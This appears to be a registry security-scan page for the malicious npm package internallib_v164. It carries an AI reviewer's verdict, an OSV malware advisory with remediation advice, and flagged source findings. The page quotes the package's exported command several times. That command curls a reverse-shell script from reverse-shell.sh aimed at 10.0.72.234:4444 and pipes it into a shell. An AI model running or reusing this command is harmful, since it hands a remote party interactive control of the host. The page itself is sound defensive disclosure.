registry / internallib_v164 / 1.0.7

internallib_v164@1.0.7

AI Security Review

scanned 4d ago · by lpm-firewall-ai

A runtime command downloads remote content and pipes it into a shell. This provides remote code execution when a consumer calls command().

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer calls the exported command() function.

Impact

Arbitrary code execution in the calling user's environment.

Mechanism

Shell execution of a remotely downloaded payload

Attack narrative

The package's exported command() function launches Bash through child_process.exec and uses curl to retrieve content from a reverse-shell-themed endpoint, piping the result into a command. The bundled check script calls this export, showing the path is intended to be reachable. Although it is not install-time, invoking the package API can execute attacker-controlled remote content.

Rationale

Source inspection confirms a reachable remote-download-to-shell execution chain with no legitimate package functionality evident. Absence of lifecycle hooks limits automatic activation but does not remove the concrete runtime RCE behavior.

Evidence

package.jsonindex.jscheck.js

Network endpoints1

reverse-shell.sh/10.0.72.234:4444

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13764

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v164 (npm)

Details

index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent interactive access. The destination is an RFC1918 address, consistent with an internal-network attacker target. ## Source: ghsa-malware (be37e90a2c609cc50d50a3ba6a65a2f2598e098b885f18637206d571ad828118) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports a callable command that invokes child_process.exec.
The command runs /bin/bash with curl piped into a shell command.
The fetched URL targets reverse-shell.sh/10.0.72.234:4444.
check.js demonstrates invoking the exported command.

Evidence against

package.json has no preinstall, install, or postinstall lifecycle hook.
The payload activates when command() is called, not merely on import.

Behavioral surface

Source

ChildProcessShell

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 273 B of source, external domains: reverse-shell.sh

Source & flagged code

6 flagged

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|dh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|dh"'); L6: return "Successo!";

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|dh"'); L6: return "Successo!";

High

Shell

Package source references shell execution.

index.jsView on unpkg · L4

•matchType = normalized_sha256 matchedPackage = internallib_v234@1.0.3 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjIzNA:1.0.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 664ce3e800c949fb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = internallib_v234@1.0.3 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjIzNA:1.0.3 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

6 flagged · loading source

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|dh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|dh"'); L6: return "Successo!";

Findings

2 Critical4 High2 Low

CriticalDownload Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

HighShellindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

LowScripts Present

LowUrl Strings